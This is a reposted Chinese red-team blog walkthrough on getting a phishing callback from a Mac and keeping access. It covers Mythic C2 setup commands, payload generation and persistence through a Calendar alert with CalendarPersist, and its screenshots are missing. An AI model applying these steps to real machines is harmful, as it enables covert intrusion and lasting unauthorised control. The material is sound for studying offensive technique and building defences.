mac钓鱼上线及权限维持

admin 2023年5月16日08:23:14评论96 views字数 1071阅读3分34秒阅读模式

本文只是科普macos平台的安全和权限维持

这里用到的是Mythic这款远控,维持权限用当前用户即可。

Mythic环境搭建

git clonehttps://github.com/its-a-feature/Mythic cd Mythic./mythic-cli install githubhttps://github.com/MythicAgents/poseidon./mythic-cli install github https://github.com/MythicAgents/Apollo./mythic-cli install githubhttps://github.com/MythicC2Profiles/http./mythic-cli start ./mythic-cli statuscat .env | grep 'MYTHIC_ADMIN'

mythic启动后会在.env 中创建用名和密码

启动后这样子

mac钓鱼上线及权限维持

输入账号密码

mac钓鱼上线及权限维持

这些都是生成payload

mac钓鱼上线及权限维持

这里使用apfell生成一个payload

 

mac钓鱼上线及权限维持

在mac电脑上执行payload

mac钓鱼上线及权限维持


上线,我们可以用CalendarPersist进行权限维持。

mac钓鱼上线及权限维持


CalendarPersist原理通过macOS Calendar.app警报进行编程持久化,有空可以去看文章,我这里就不分析了,我们直接用这条命令加载这个js

jsimport

mac钓鱼上线及权限维持

加载成功

mac钓鱼上线及权限维持

我们调用这个js,列出日历

jsimport_call list_calendars()

mac钓鱼上线及权限维持

通过日历进行维权

jsimport_call persist_calalert("My Event","/System/Applications/Calculator.app",60,"daily",1, 3,"AE11BBDC-286D-4532-8CF4-D49F72F62648")参考persist_calalert(title, target, delay, frequency, interval, end, uid)

mac钓鱼上线及权限维持

我们查看下日历是否添加成功,日历有我们新建的计划。

mac钓鱼上线及权限维持

作者在脚本里还写了一个功能,隐藏提醒,这里我测试未成功,不知道什么原因,大家如果找到方法了,可以留言。



参考

https://labs.withsecure.com/publications/operationalising-calendar-alerts-persistence-on-macos

https://github.com/FSecureLABS/CalendarPersist


原文始发于微信公众号(红队笔记录):mac钓鱼上线及权限维持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日08:23:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mac钓鱼上线及权限维持https://cn-sec.com/archives/1708838.html

发表评论

匿名网友 填写信息